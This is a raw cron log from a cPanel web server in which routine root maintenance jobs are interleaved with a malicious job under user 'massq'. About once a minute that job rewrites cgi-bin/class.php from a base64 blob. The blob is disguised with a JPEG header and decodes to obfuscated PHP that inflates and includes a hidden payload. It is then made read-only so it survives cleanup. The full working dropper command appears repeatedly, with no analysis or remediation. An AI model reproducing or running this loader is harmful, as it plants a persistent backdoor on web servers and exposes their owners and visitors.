Aug 30 07:05:01 server CROND[26568]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:05:01 server CROND[26570]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 07:05:01 server CROND[26571]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 07:05:01 server CROND[26572]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 07:05:01 server CROND[26573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:05:01 server CROND[26569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:06:01 server CROND[27455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:06:01 server CROND[27456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:06:01 server CROND[27454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:07:01 server CROND[27835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:07:01 server CROND[27836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:07:01 server CROND[27837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:08:01 server CROND[28319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:08:01 server CROND[28320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:08:01 server CROND[28321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:09:01 server CROND[28711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:09:01 server CROND[28712]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 07:09:01 server CROND[28715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:09:01 server CROND[28716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:10:01 server CROND[29122]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 07:10:01 server CROND[29124]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 07:10:01 server CROND[29134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:10:01 server CROND[29136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:10:01 server CROND[29137]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:10:01 server CROND[29135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:10:01 server CROND[29133]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 07:10:01 server CROND[29138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:11:01 server CROND[29990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:11:01 server CROND[29991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:11:01 server CROND[29992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:12:01 server CROND[30465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:12:01 server CROND[30467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:12:01 server CROND[30466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:12:01 server CROND[30468]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 07:13:01 server CROND[30951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:13:01 server CROND[30952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:13:01 server CROND[30953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:14:01 server CROND[31425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:14:01 server CROND[31426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:14:01 server CROND[31427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:15:01 server CROND[31897]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 07:15:01 server CROND[31898]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 07:15:01 server CROND[31901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 07:15:01 server CROND[31907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 07:15:01 server CROND[31909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:15:01 server CROND[31908]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 07:15:01 server CROND[31912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:15:01 server CROND[31911]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 07:16:01 server CROND[347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 07:16:01 server CROND[348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 07:16:01 server CROND[349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
